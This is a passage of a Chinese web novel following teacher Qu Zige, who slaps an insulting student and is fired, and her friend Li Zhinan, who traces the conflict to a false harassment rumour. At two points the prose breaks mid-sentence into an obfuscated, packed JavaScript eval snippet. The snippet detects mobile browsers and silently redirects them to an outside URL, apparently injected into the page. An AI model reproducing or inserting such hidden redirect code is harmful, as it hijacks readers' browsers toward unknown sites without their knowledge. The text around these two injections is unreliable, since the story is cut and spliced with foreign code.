周叶嬉皮笑脸地拉着她,她心里被拱起的火也只得被自己生生压着一波又一波。 “哼。”文泽似乎觉得今天曲子格不敢将他怎么样了,态度愈发嚣张。 曲子格眼睛死死盯着他,实在不明白今天这个刺儿头是为哪般,心里到底还是气不过道:“周叶,你组织大家传球训练,你,文泽,你跟我过来。” 文泽没好气地将篮球用力扔到一边,发出咚咚的响声。 曲子格皱眉在原地,道:“把球捡回来。” “不是您让我过来的吗?”他混不吝地回。 “我现在让你把球捡过来。”曲子格用手指着他的鼻子。 文泽像是市井无赖一样,把脸放她手上凑:“我是狗么?让我干嘛我就干嘛?指我干嘛?想打我是吗?怎么老师要打学生了吗?” 曲子格怒道:“你看你还像是个学生吗?你跟马路上的流氓有什么区别!” “我流氓你了吗?”他回道,“你有什么值得我流氓的?一个女老师还想教篮球,不会教就别教。” 曲子格手攥紧了拳头,还没来得及发作,只见周叶早就快了一步,把球捡回来睇给她:“曲老师别生气了,我捡回来了。” 文泽没了面子,像是疯狗一样把球拨弄到地上,对周叶吼道:“我用得着你!马屁精!” 曲子格彻底动了气:“文泽,把球捡回来。” 她声音低沉,脸上的青筋都跟着抖,这回连周叶也不敢再多说什么。 周围的学生们左右转着眼睛看着二人,谁也不敢多说一句。 “赶紧的!”曲子格吼道。 “我让你赶紧的,听到没有!”曲子格又吼了一遍。 文泽身体下意识地听从她的指令,可刚捡起球,不知道哪根筋儿又搭错了,突然对着篮球吐了一口痰,直直地扔到了曲子格身上。 曲子格愤怒地冲上前,指着他鼻子道:“道歉!” “不道。” “我让你道歉!” “不道!有本事你去校长那告我去啊!反正你不是最擅长在床上勾搭男老师了么,区区校长自然不在话下。”男孩表情带着讽刺,“张开腿就行了。” 曲子格听懂了他话里的内涵。 她和吴思齐的婚事已定,在学校里自然传起了消息,可她们男未婚女未嫁,明媒正娶光明正大的关系,也不觉得有什么需要隐瞒的。甚至在学生和她打趣的时候,她还颇有几分得意。 吴思齐是个优秀的男人,和他有情人终成眷属怎么也不会是件需要藏着的事情。 可眼前乳臭未干的臭小子就这样污蔑她美好的爱情,说些听起来让人想动拳头的话。 她纵使强忍着气,手仍旧下意识推搡了他的肩膀。青春期发育后的男孩身体和成年男性差别不大,她这一下没有任何效果,反倒是下一秒就被文泽狠狠地推了回去,整个人坐在了地上。 学生们都看傻了眼,谁也不敢相信他真的敢对老师动手,只见曲子格翻身站起,上前抡圆了胳膊,狠狠地打了他一巴掌。 45. 也许有些错是值得犯的 待李知难听说此事时,学生家长已经在校长办公室吵得不可开交。 文泽妈妈头就差仰到天上去:“今天要是不给我们一个说法,教育局也好,电视台也行,我们总能找到说理的地方,我还不信她一个老师还能无法无天了。” 另一边在孙书维办公室内,曲子格虽然低头不语,但仍旧浑身气得发抖。 孙书维认真叮嘱道:“我知道你的委屈,但是当下的情况对你不利,无论学生有什么错,你动手了,就是你理亏,必须要道歉。” “他是学生吗?有这样的学生吗?”曲子格红着眼睛,“社会上的人渣说话也不会这么难听!” 孙书维将手搭在她肩膀处:“你以为他们和成年人差的这一年,差在哪了?不是他们的单纯良善,也不是他们的不懂事。就差在了身份和法律上,你是老师,所以就不占理,他有未成年人保护法,所以他不需要占理。” 曲子格吼道:“凭什么!” 孙书维苦口婆心道:“凭你先动了手,成年人这点克制没有吗?今天这事只要你不动手,说破天去也是他的错,我给处分给停课都不过分,可你动手了,性质就变了!” “是非对错就不重要了!”曲子格失声喊道,“他凭什么那么说我!” 李知难推门而入,上前一把搂住了曲子格。 “知难……”曲子格委屈地哭出了声音。 良久,她才从方才的情绪中缓过来。 曲子格用纸巾擤着鼻涕,道:“你说咱们那时候,甚至被体罚都不敢跟老师还嘴,现在这帮孩子都怎么了?” 李知难拍着她的后背,无奈道道:“我上一次罚学生抄课文,临了临了从五遍变成了一遍,就是怕他投诉我变相体罚。” 孙书维在旁给二人倒了水,道:“制度化的利必然会带来弊端,这都是现代教育必须经历的过程。” “那他们怎么看不到我们的苦心呢?”曲子格不服气道,“我让他练脚步,我还是害他了?” 孙书维摇头道:“我们的苦心?我们是谁?一个老师而已,他们连父母的苦心都看不到,凭什么看到我们的?” “我不明白,怎么高中生就突然这样了呢?”曲子格气道。 孙书维想了想,道:“因为生理上他们现在就是有缺陷的,缓慢发展的是非观追不上高速发展的身体,加上现在网路的发达让他们觉得自己懂得多到可以对这个世界挥斥方遒。” 李知难小声道:“给孩子们些机会吧,也给荷尔蒙一些时间。” 孙书维见她情绪渐缓,交代道:“这样,你先去给家长和学生道个歉,然后写封检讨书,剩下的事情交给我。” 曲子格拍了拍腿,站了起来。 “走。”孙书维见她想通了起身,急忙上前嘱咐,顺手帮她开门。 曲子格没有按她料想的剧本走。 “我没错,我不能道歉。”曲子格冷静道,“随便学校怎么处罚我,我不会道歉的。要道歉可以,他先给我道,我再考虑考虑。” 曲子格梗着脖子回到了自己的办公室,恰好迎上了满脸心急的吴思齐。她一把扑到吴思齐怀中,委屈道:“我好想你。” 吴思齐摸着她的头发,安抚道:“没事了,没事了。” 曲子格摇头:“还是有事的,但是有什么事我都不怕,你会一直在我身边的,对吗?” 她从吴思齐怀中抬起头,难得从天不怕地不怕的样子变成小猫一样温顺地看着他。 吴思齐低头,见她这般模样,温声安抚道:“检讨一会儿我帮你写,你受委屈了,放心吧,我会一直在你身边的。” 曲子格从他的怀中挣脱出来,问道:“你帮我写什么?” “检讨书啊。” “为什么?” 吴思齐摸了摸她的头发,像是哄小孩:“你自己会写?你不是最讨厌写这些了?” “我是说我为什么要写检讨?”她声音冷了下来。 吴思齐不解地看她,曲子格方明白过来他的意思。原来从一开始,他就没有站在自己这边。 “所以你也觉得,我做错了?”她拧着眉毛看着他。 吴思齐点头:“这件事确实是你做的不对,你动手打学生了,你应该控制住自己的情绪。” 曲子格冷声道:“你和谁一头的?” 吴思齐努力和她讲道理:“我明白你受委屈了,你心里还有情绪,但是你必须要和学生家长道歉,这样才能保住工作,对吗?” “工作难道比是非还重要吗?”曲子格问。 吴思齐觉得自己似乎没有说清楚,又解释了一遍:“现在的问题是,你并没有做对。” “他也没有,”曲子格道,“他先不尊师重道的。” 吴思齐不知道如何让她意识到问题的重点,强调道:“眼下最主要的是要保住你的工作,我们不要因小失大好不好?” “可我现在需要保住的不是工作,是教师这个身份应该受到的尊重!”曲子格反驳道。 “子格……意气用事不能解决问题,我们眼下需要解决问题,对吗?”吴思齐劝道,“我们马上就要结婚了,这个时候就别节外生枝了,多一事不如少一事。” 曲子格看着眼前的男人,放佛自己从来没有认识过,她冷淡道:“你先走吧,我想自己静一静。” 周六钢琴课,李知难敲门的时候心情忐忑,但李北辰仿佛什么事情都没有一样,蹲下来和皮皮握手,进行着他们俩个自己的那套奇怪仪式。 她便也装作上周什么事情都没发生过一样,和他们摆了摆手,打算去楼下车里等。 李北辰道:“书房里等吧?外面冷了。” 李知难想了想,去了他的书房。 课程照样是奇怪的教法,可是皮皮最近越来越好,已经能主动要求要在钢琴前坐一会儿,弹一些东西。李北辰有时会播放一些视频,然后让他随便摁键,自己把他的独音连成和弦,配合视频里的场景环境。李知难觉得这钱花得确实值,相比皮皮,李北辰明显更累一些。 李北辰的书房里全是黑胶唱片,塞了满满一屋,唯一突兀的就是角落里那个新买的足球游戏机。 她心下突然动了动,这个游戏机,到底是给谁买的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14600085|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可她转念停住了自己的思考,因为他的书桌上面,放着一份企划书。文诗之前的问题导致了连锁反应,这份企划书是可能音乐送过来的,要求文诗放弃自己的独立运营回归可能音乐,而可能音乐也会为她这次的丑闻和新专辑不利收拾残局。 人犯了错,就要承担后果。文诗是这样,那……曲子格也应该是。但是曲子格的问题,还是在于她自己的选择,李知难只是不知道作为她的好朋友,怎么劝她才是对的。 下课后,皮皮得了二十分钟的游戏时间,李北辰在旁看着心不在焉的李知难。 “有心事?” 李知难也没有保留,将学校发生的事情告诉了他。“我现在也不知道怎么劝她。”她轻声道,“劝她道歉,像是背叛了我们的友谊,可不劝她,她可能会因此失去工作。” 李北辰道:“先动手的是过错方,这是你教我的。” 李知难点头。 “那你心里觉得曲老师做错了吗?” “嗯。” “那为什么不能和她说实话呢?” “因为这是她的本性。如果曲子格情绪稳定,能屈能伸,那她就不是曲子格了,她就成了另一个孙书维。”李知难总结道,“可我不想让她一个人,哪怕违背我的是非观,我也不想让她一个人。” 李北辰道:“可她的感受和她的前途站在了对立面?” 李知难点头。 李北辰突然心底有个令他不悦的念头,他声音冷了下,问道:“李老师,你不是背着她去找过学生家长了吧?” 李知难和该学生完全没有交集,她刚打算尝试就被孙书维逮着好好批评了一番,说她这种行为是在给对方家长递筹码,增加谈判难度,因此出师未捷计划先死。 见李知难摇头,他皱着的眉头才舒展了些。 “李老师,”李北辰道,“成年人可以为自己负责的。你为什么当年这样告诉我,其实自己从来都不信呢?” 李知难小声道:“她不一样。” 李北辰心里一阵酸。她总爱用这句话。是她的学生,就可以不一样,是她的朋友,也可以不一样。自己心里念念所求的,一直是这个不可得的“不一样”。 他收住了自己的情绪,端正了理性的态度,道:“如果是我的话,我更希望能有一个坚定选择我的朋友,而不是告诉我对错的老师。” “可是忠言逆耳……”她仍旧放不下自己对是非观的坚持。 “也许有些错是值得犯的。”李北辰这样说。 一个月后,学校下达了对曲子格的解聘通知书。她从头到尾,脖颈都没有软一下,不道歉,不和解,哪怕是失去工作,她也要守自己的那套是非观。 孙书维和李知难在她的办公室内替她收拾私人物品,盒子里被堆得满满当当。她嘴里说不喜欢这个单间,可这里每一处都有被她用心照顾过的痕迹。她和她的真性情,点缀了这间紧促的屋子,让这里成为能容下所有人喜怒哀乐的场所。 门关了,那个总爱坏掉的锁这次彻底被换了下来,连带着那些尘埃和回忆,都锁进了曾经。 46. 曲子格离职 一日放学后,李知难忘了文件,中途返回办公室时,发现了正在她办公桌前偷偷摸索的廖蒙。 “你干嘛呢?”李知难看着这离谱的画面,出声道。 廖蒙被吓了一跳,整个人坐到了地上。“李老师……” “你找什么呢?”她警惕地问。 廖蒙低头不答。 李知难看着她摸索的方向,不解道:“我这儿也没考试题,我也没没收你东西,你来我这找什么?” “没什么。”廖蒙起身想走。 李知难拿出了钥匙,按照她摸索的方向,打开抽屉查看起来。 廖蒙知道自己瞒不住,急忙上前道:“李老师,我跟您说一件事,能换您替我保守一个秘密吗?” “什么?”她不解。 “您相信我,肯定值的。”廖蒙表情带着勇士断腕似的壮烈。 李知难狐疑打开抽屉,也没发现什么特殊的东西,直到她仔细向内摸索,才摸到那张上学期没收回来的纸条。她原本早就忘了和廖蒙曾经打的赌,但显然廖蒙并没有。 李知难想起曾经的约定,问道:“你上学期期末多少分?” 廖蒙低声道:“119。” 李知难看着纸条,道:“到底是什么东西,你这么怕我看见?” “老师,您跟我换吧,我知道为什么曲老师被开除。”廖蒙见她不肯上钩,又多透露了些。 “什么意思?” “您把纸条给我,我告诉您真相。”廖蒙答。 李知难看着那张从来都没打算去看的纸条,听着她口中的条件,衡量后道:“好,你说吧。” 廖蒙看了看那张纸条,又将视线转回李知难脸上。她的同桌作为八卦阵的阵眼,这些在学生间传播的大小事情,她就算是闭上耳朵也能听些杂音。 “老师,那个六班的文泽是章乐怡的男朋友,我亲眼看见他们俩在一起的。前一阵子在厕所里哭的那个桃金娘就是章乐怡,因为吴老师要结婚了,因为她……喜欢吴老师。”廖蒙将劲爆的内容如实相告。 她喜欢吴思齐李知难是知道的,但章乐怡和文泽的关系她并不清楚,也不明白这件事和曲子格有什么关系。 “可是吴老师不是好人,吴老师……欺负过章乐怡。他和曲老师要结婚的消息搞得那么高调,大家其实都知道吴老师背地里和章乐怡有暧昧,而且章乐怡去找过曲老师,曲老师还倒打一耙说是她胡说。所以文泽才要帮章乐怡教训一下他们那对狗男……”她意识到自己说错了话,“反正他就是为了章乐怡才这么做的,故意找的曲老师的茬儿。” 李知难脑子“轰”的一下泛起一阵疼。 次日一早,李知难便将章乐怡叫到了办公室。 “文泽跟你在谈恋爱呢?”她开门见山道。 章乐怡光听这个开头,就知道了她叫自己来的意思,立刻恐惧道:“老师,和我没关系,都是他自己一个人干的,我压根没说我希望他帮我出气,是他自己的原因。” “可他为什么要找曲老师的麻烦?”李知难问,“冤有头债有主的,怎么也轮不着他文泽去难为曲老师吧?” 章乐怡小声道:“我不知道。” 李知难看着她的表情,分明就是知道得清清楚楚。“你觉得吴老师是被曲老师抢走的?” 章乐怡仍旧低头:“我没这么说过。” “你跟吴老师谈过吗?”李知难心底生出了些不好的联想。 章乐怡道:“我和他没什么好谈的。” “那……吴老师真的欺负过你吗?”李知难虽然之前就同吴思齐确认过这件事,但是生出这样的传闻,她还是忍不住谨慎再谨慎。只是廖蒙的故事里有个漏洞,如果章乐怡真的和曲子格说过吴思齐欺负她,以曲子格的性格不可能不查清楚就倒打一耙的,她太了解曲子格了。 章乐怡显然心虚了,她撇过头,绕是不情愿也还是说了实话:“没有。” 她暗恋吴老师的事情几乎成了公开的秘密,这才多久,吴老师就宣布要结婚了。为了自己的体面,她也是在周围的闲言碎语逼迫下,才不得已编出这样的瞎话。她别无他法。 “你知不知道你们的行为,不仅损坏了吴老师的名誉,更让曲老师失去了工作?你有没有意识到事情的严重性?”李知难生气道。 章乐怡抬头看她,反问道:“老师,我什么行为?我做什么了?” “你做什么了?你知道这样的脏水泼出去,最后会溅在谁身上吗?”她气道,“不是你,甚至不是吴老师,而是以后真的被欺负的女孩,她们会因为你今天自私的行为付出代价,你喊了狼来了,最后被吃掉的是那些和你一样年纪但是完全无辜的女孩们!” 章乐怡低着头,只道:“我不知道您说什么,我什么都没做。” “好,”李知难见她这态度,道:“叫你家长来吧。” “您没有证据。”章乐怡眼底虽然有着惧怕,但是嘴上硬得很,“我和吴老师没什么,您没有证据证明我喜欢过他,是您逼着我把证据都删掉的,您忘了吗?” “我没证据,但是你和文泽早恋这事我得和你家长聊聊,明天叫你家长过来。”李知难道。 “那您自己联系他们吧,”章乐怡答,“我和文泽就是普通同学,您要是因为自己好朋友被开除了想找替罪羊,也别冤枉我,我也会如实告诉我爸妈的。” 她似乎早就准备好了这套说辞,一点也没有悔意。 李知难看着十几岁的少女孤注一掷地选择了她最鄙视的路,道:“好,我自己联系。” 课间休息时,她去找了吴思齐。 “章乐怡找过你没有?”李知难问道。 吴思齐疑惑,回道:“我之前已经和她解释清楚了。” “你怎么说的?” “我说我和曲老师在一起,她是一个好女孩,希望她好好学习。”吴思齐转述道。 李知难道:“你是哪种语气?严厉地说你的未婚妻是曲子格,让她注意一些,还是这种电视剧男主角似的口气,我和曲老师在一起了,但是我知道你是个好女孩,你就是太小了,你还是好好学习吧,哪种口气说的?” 吴思齐听懂了她的内涵,正色为自己解释道:“我不觉得我的表述有问题。” 李知难气道:“你知不知道就因为你这态度,很可能是导致曲子格被开除的原因?” 吴思齐冷声道:“她被开除是因为她对学生动了手且不肯道歉,是她自己的问题。” 李知难听着他这话,有些不可思议地诧异道:“你说什么?” “我说错了吗?” “她是你未婚妻,不是陌生人,你怎么能这么说?”李知难瞪圆了眼睛。 吴思齐转过了头,神色带着羞怒,道:“她把婚礼取消了。” 李知难的脑袋再次轰然欲炸一般地疼了起来。 曲子格当日离职后,说想自己去外地静一静,让她不要联系她。曲子格的性格她了解,她不可能被这点事情打倒,她脾气硬脖颈硬,心气儿更硬。 李知难尊重了她的要求,只等她消化完,随时迎她回来。 但是她没想到,她不光是失去了工作,她心心念念的婚礼也随之一起泡汤了。 李知难急忙拨通了曲子格的电话。 “小格子。”她心疼地喊着她。 曲子格在另一旁听到她知晓的消息,倒也平静:“这件事让我认清了我和吴思齐本来就不是一路人,现在知道也不是坏事。” 李知难不知道她话中真假,可她是见过她在这段感情中的付出的,要说她真能如当下嘴里这般潇洒,李知难不信。 “晚上我去找你吧。”她提议道,总归是当面说,看着她的眼睛才会更放心些。 “没事的。”曲子格的声音听起来晴朗,“我玩儿两天就回北京了,我都想好接下来的规划了,到时候你等我信儿!肯定让你刮目相看。” 李知难眼睛有点酸。她听着那边曲子格这样没心没肺地说豪言壮语,却只听出了她语气中的茫然,而自己当下什么也帮不了。她想要是能够穿过电波,去抱一抱电话那头的她就好了。但最后也只能用只言片语安慰。 “小格子,你有我呢。” “我知道。”曲子格答,“我会每天都坚定地选择你。” 几周后,随着曲子格的离开,这件事也渐渐地失去了热度。学生们嘴里总有新话题,最近都在传秦梓轩甩了廖蒙,之前天天一起上下学,现在连话都不说一句。两个人看起来倒是无异,各顾各的毫不被传闻影响。 这日放学,李知难回办公室的路上恰好走到了六班门口。教室内文泽和班里的同学在做值日,里面朝气蓬勃的打闹声,看得李知难莫名地火。 一旁认真打扫地女生气道:“文泽,你能不能别闹了!” 文泽将自己苕帚边的垃圾故意扫到女生那边已经扫干净的走廊上,挑衅道:“环卫女工,这儿还有呢!” 女生愈发生气,喊道:“你有完没完!” 文泽得意道:“你能怎么着吧!” 另一旁高个子的男生突然扔了块抹布过来,对文泽道:“别他妈闹了,赶紧扫,扫完回家了!” 显然在这个小集体里,这位高个子男生拥有着更高的权威。 文泽吃了亏也不敢还嘴,只对着女生比了个鬼脸,老实地扫起了地。 李知难觉得自己突然明白了那个拼图里拼不上的一块。 “文泽?”她在门口道,“出来一下。” 文泽知道她是谁,小声对旁边男孩道:“你带手机没有,录像啊,录像,说不准我能成网红。” 文泽走出去,痞里痞气道:“李老师您找我有事啊?” “我关心关心你。”李知难笑着答,她余光也看到了教室里竖起的手机,表情立刻装得比平时还要和蔼可亲几分。 “我又不是您班的。”文泽撇过头。 李知难脸上仍然笑,故意压低了音量:“你得庆幸你不是我们班的。” 文泽故意喊道:“干嘛啊您!要公报私仇吗?要报复学生吗?” 李知难急忙退后一步,双手放在胸前,也夸张回道:“同学可别误会,我是来关心你的,你可别急啊,我和曲老师不一样,我身体不好,你要是也朝我扔东西吐痰推搡我什么的,我怕我心脏受不了,你可别动手啊。” 文泽红着脸,回不上来。 “我呢,就是看看你现在情况好不好,看到你还是原来的样子,没受什么影响,我就放心了。”李知难道,“不过刚才打扫卫生的时候,我发现你原来一直这样啊?这样可不好,不能因为女同学好欺负,就把脏东西扔到人家那里,也不能因为男同学看起来厉害,就吓得不敢回嘴了,大家都是学生,不要搞社会上那套欺软怕硬的事情,这么大小伙子了,传出去多难听。” 屋里传来学生的窃笑声,文泽脸上有些挂不住,明知她话里有话,但是又想不出词反驳她,只忿忿道:“我不知道您说什么呢!” 李知难突然压低了音量,道:“你当然知道了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14601351|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴思齐一个成年男性,你不敢惹啊,就只敢欺负软柿子的女老师。” “李老师!您这是替曲老师来找我茬呢是吗?”他大声质问道。 李知难讶异的表情像是差劲的女演员:“诶哟,我说让你别欺软怕硬,你就联想到曲老师了?你这孩子,是不是记错了?那不是曲老师做错了事情,你是受害者吗?不过这事也是,曲老师做得非常不对,你是未成年,有未成年人保护法的,对不对?我们做老师的必须要保护好你们,毕竟还有一年是不是?一年之后成人了,就得负责任了,年纪就没办法拿来做挡箭牌了,再犯了错就得跟警察说了。” 李知难声音慢慢压了下来,少了些方才的夸张,多出几分真诚,道:“今天我跟你说的这些话,你理解得了就理解,理解不了,那就等将来吃了大亏之后再理解吧。” 文泽听着她的阴阳怪气,只垮着脸道:“谢谢李老师,我还得做值日,没空听您讲这些。而且,谁吃亏还不一定呢。” 李知难失望地摇了摇头:“我简直迫不及待想知道以后社会会怎么鞭打你了。” 文泽没再回话,转过身向着教室内跑了回去,随手拿起抹布和同学假装打闹。 李知难看着他的背影,突然愣住了。 周六的钢琴课课间休息时,李北辰递了瓶水给她,有些松了口气,道:“前阵子曲老师被开除,还好你看起来没太受影响。” 李知难将文泽的事情如实相告。 “我还以为李老师心中有教无类。”李北辰调侃道。 “我可以替自己原谅,替自己有教无类,但是我凭什么替曲子格原谅他?”李知难反问。 “你变了。”李北辰道,表情说不出是替她骄傲还是替她惋惜。 “说不定我本身就是这种睚眦必报的性格。”李知难转过头,不看他的眼睛,她总觉得只要不去看那双眼睛,就可以假装不知道那双眼睛背后的想法。 “你不是。”他替她辩解。 李知难看了看那边的皮皮,清了清嗓子,到底还是忍不住心里想要分享的欲望。“我是,我最后把这俩孩子治了一顿。” “不是说他们不怕吗?”李北辰意外。 “他们俩放学后在公园里亲亲我我的时候,我给小张警官了打电话举报了他们。”李知难答。 李北辰有些不可思议,这是成熟稳重的李老师想出来报复的方法。 “说起来也可笑,当初我让曲子格查课间离校这件事,曲子格都把他俩人名字记下来了,结果就因为她觉得高中生谈恋爱很美好,不应该被我这个灭绝师太拆散,背着我自己把事情瞒下去了。所谓的替女朋友出气,其实也是因为文泽知道曲子格抓住了他的小辫子。章乐怡更可气,竟然用自己的名誉去污蔑别人,他们甚至觉得自己很聪明,没人能治得了他们。所以我也想通了,孙书维说的对,我们是老师,最后的教育闭环还是要交给他们的家长。”李知难答。 张蔷在接到电话将两个人抓个现行后,自然是带回派出所联系了他二人的家长。 “我从来对自己的要求都是做孩子的避风港,这次是我第一次把孩子推出去。”李知难长叹了一口气,“但是我不后悔。” “真的?” “开始是有些心里纠结的,什么职业道德,个人素养,我甚至读了好几宿论语,想看看君子到底能不能这样。” “孔子怎么说?” “不能。” “那你还说不后悔?” “孔子说不能,我就再看看别的,圣贤那么多,总能找到说能的。”李知难有些倔强地说着这孩子气的话。 李北辰笑了,附和道:“肯定的。” 突然,她想到自己并没有和他提过曲子格离职的事情,便好奇问道:“曲子格离职,你怎么知道的?” “呃,我听说的。”他言语模糊。 “李北辰,说实话。”李知难知道最近奚西的心情是不可能传递八卦的,何况还是曲子格的事情。 “我……联系过她。”李北辰答,“你上次说她出事之后,我就联系过她,问她需不需要帮助,我有朋友做体育培训方面的。” “那她怎么说?” “她应该不需要了,好像是要自己创业。”李北辰回道。 “什么?”李知难第一次听说这件事。 “她说,她的一个朋友要帮她开个培训学校。” 李知难听愣了。她还以为那天电话中她的豪言壮语是说来安慰自己的,没想到,竟然是真的? 人生有时候就是这么奇妙。 办理完手续的那天,曲子格最后一次走出校园,方觉自己身上沉得如同压了秤砣,肩膀都挺不起来。人生在那一刻彻底奔着一无所有、孤苦终老的方向大步前进了。她甚至有些后悔自己的坚持,所谓的自尊在现实面前有些撑不下去了。 未来肉眼可见地,将因为她这次冲动而变得举步维艰。 她想着人活一口气,可看眼下的情况,怕是这辈子,她就剩这口气了。 “妈的。”她嘴里嘟囔着脏话,闭着眼睛攥了攥拳,想暴打这个操蛋的世界。 可睁眼后,出现在眼前的画面,是一身西装的顾清辛,冬天的冷空气在他的周围晕了一圈薄雾,看起来是那么不真切。他带着和煦的笑容,正温暖地看着她。 曲子格怔在原地。 顾清辛两步上前,很自然地接过她手中的东西,挽住她的肩膀拥入怀中。 “小格子,做得不开心就别做了,我养你。” 47. 真有圣诞老人啊 圣诞节恰逢周六。早上宋乐在电话里犹犹豫豫地说,爷爷奶奶想皮皮,今天能不能让他陪陪爷爷奶奶。李知难听他那边的口气,试探道:“出什么事了?” 宋乐只答:“没什么事,他周末钢琴班足球课的,爷爷奶奶见不着全天的人,今天圣诞节想带他出去吃点好的玩玩去。” 李知难应了,才想发信息通知李北辰取消今天的课,又觉得自己这样临时改主意,他怕是不肯收课时费。她想着还是不要欠他人情,便独自来到了李北辰的公寓解释。 李北辰开门,朝她身后望了望。 李知难也没进门,只道:“今天皮皮不来上课了。” “好。”他应着,等她的下文。 “我们无故取消的,课时费照算,也没别的事了,我就先走了。”李知难说罢准备要离开。 李北辰小心翼翼地拉住了她的胳膊,道:“你其实可以发个信息的。” 李知难答:“我觉得当面告诉你好一些,反正课时费我必须照旧付的。” “既然时间都买了,那就做点别的吧。”李北辰提议,“反正我今天也没安排了。” “什么?”她对他的提议莫名地心动,可又下意识觉得这样似乎不妥。 “请我喝咖啡?”李北辰一张人畜无害的脸,一脸期盼的看着她,“我和你聊聊皮皮之后的教学计划。” 她知道他心里清楚,自己对这个所谓的教学计划并不关心,可今天是圣诞节,和他一起总好过自己一个人。也不只是这样,和他在一起,分明好过任何其他人。 “……好。”她答。 李北辰选了楼下不远的咖啡店,也许是圣诞节的缘故,店里的客人尤其多。他显然没想到店内的盛况,这家店是他印象中最安静的地方,平时客人零星到让人担心没多久就会关门大吉,可现在的人满为患只让他心内暗暗后悔。 他安排李知难在角落处的位置坐下,自己去前台点单。 李知难也是后知后觉反应过来,不是说要请他的吗? 几分钟的功夫,李北辰拿了餐牌回来,尴尬道:“没想到人这么多。” 李知难答:“这不很正常么。” “正常?”他不解。 李知难眼睛环看一周,道:“对啊,圣诞节啊。” 李北辰这才恍然大悟:“今天?” 李知难:“你不知道?” 李北辰话里有话:“你……知道?” 她突然觉得自己好像给自己挖了个坑。 两人还没说完,只听外面门铃响动,刚进来的情侣左右看寻找位置,然后视线自然地对上了角落处的李知难和李北辰,这二人正是曲子格和顾清辛。 曲子格两步上前,满脸讶异道:“你们俩怎么在这?” “你们俩为什么在这?”李知难看着她和顾清辛,更是难以理解。 “我陪小格子找场地。”顾清辛解释道,“她打算自己做一个培训学校。” 李知难这才反应过来,原来那个要帮她的朋友,竟然是顾清辛。她顿时埋怨起自己的后知后觉,在曲子格的朋友圈里,能够有能力做这件事的,不就只有顾清辛?可她怎么也没想到,明明当时狠话脏话都说遍了,绕了一圈怎么又绕回到这个王八蛋身上? “知难,”曲子格拍了拍她,眼睛瞥了瞥李北辰,还在等她的答案。显然,曲子格对于这对意外的组合颇为费解。虽然知道他们之前的师生关系,但也没有师恩能浩荡到一起过圣诞节的吧? “我找李北辰……谈点事。”李知难突然就嘴不利索了,欲盖弥彰地答。说完她就后悔了,皮皮的钢琴课,这现成的理由不是早上自己就找好了,怎么现在嘴巴却被糊住了呢? “拼个桌吧?”顾清辛倒是一点也不见外。 正巧餐牌的号码到了,李北辰去吧台取餐,顾清辛也随着一起去点单,座位上只剩下她二人。 “知难你跟我说实话吧,你是不是看上他了?”曲子格一点也没含糊,横冲直撞地就问。 “你别瞎说。”李知难急忙矢口否认。 曲子格一脸心知肚明:“就你们刚才那个眼神,要是我不认识你们,我真以为在热恋期呢,我跟你说,你现在编什么我都不会信,你最好老实交代。” “真的没有。”李知难敷衍答。 曲子格看看她又看看李北辰,脑子使劲转着之前的信息,恍然大悟道:“他是不是原来就是对你有意思啊?要不然他为什么来找我问你的事,我靠,他是不是从最开始就对你有意思?那撞车赔钱的事不就……” 曲子格越理越清,感觉脑子里的那根线马上就可以被自己拎出来了。李知难直接拉住了她的胳膊,一脸严肃地示意她噤声。 “天上掉馅儿饼呢,你怎么不张嘴啊!”曲子格脑子转完之后,赶紧替她着急。 “别闹了,他对我……”李知难不知道如何和她解释这一切,“我们之间有点复杂。” 正好此时两人回来了,她们的对话也告一段落。 李知难看着斜对面的男人,心里自然一肚子火。顾清辛没有察觉她的敌意,还在一脸亲昵地询问曲子格吃不吃甜点,要不要加单。 “顾清辛,你什么意思?”李知难终于忍不住了,她冷着声音,一点情面也没留。 顾清辛愣了一下,倒是没恼,他长了一张好看但不好接触的脸,平时的嘴角就紧紧绷着,让人忍不住敬而远之。当下,他似乎是别扭地从嘴边硬挤出来一个微笑,逼着自己对李知难再礼貌一些。 “我问你话呢?你跟曲子格这是干嘛呢?”李知难又问了一遍。 顾清辛回道:“找场地,我帮小格子开体培机构,让她开心地做她想做的。” 李知难不屑道:“现在想让她开心了?早干吗去了?” 顾清辛语气带着诚恳:“我以前做得不好。但是现在我没有别的意思,只是想帮她。” “做得不好?”李知难对顾清辛几个字就把曲子格之前遭受的痛苦一笔抹杀的态度很是恼火,她鲜少这般不给人留情面,唯独对眼前这个男人,厌烦到极点。“你理她远一点就是帮她了。” 顾清辛有些撑不下去,可他感觉到手侧来自曲子格的温度。她小心翼翼地看着自己,眼神满是对自己急切,生怕他和李知难呛起来。 他没再回答,起身去了吧台,把里面大大小小的甜点名字按着顺序一个一个读了个遍,旁边记录的服务员终于忍不住:“先生您是全要吗?” “不是。”他冷声回。 “那您……” “我还没读完呢,我读哪个我就要哪个。”磨磨蹭蹭十几分钟,他总算把所有的甜品名字都读完了。 服务员表情不悦,忍住翻白眼的冲动确认道:“就是说,您全要,对吧?” “不对,我就要我刚才点的那些。”他犟着嘴不肯承认。 “嗯,好。”服务员端出了礼貌的骂人表情。明明全要两个字就能解决的事情,愣是让这位爷在这里耽误了十几分钟。他不由面对着这位模样英俊的男的摇头,有钱是有钱,帅气是帅气,但是脑子肯定有大问题。 这边曲子格也打起了马虎眼,对着李北辰道:“北辰同学和知难聊什么呢?” 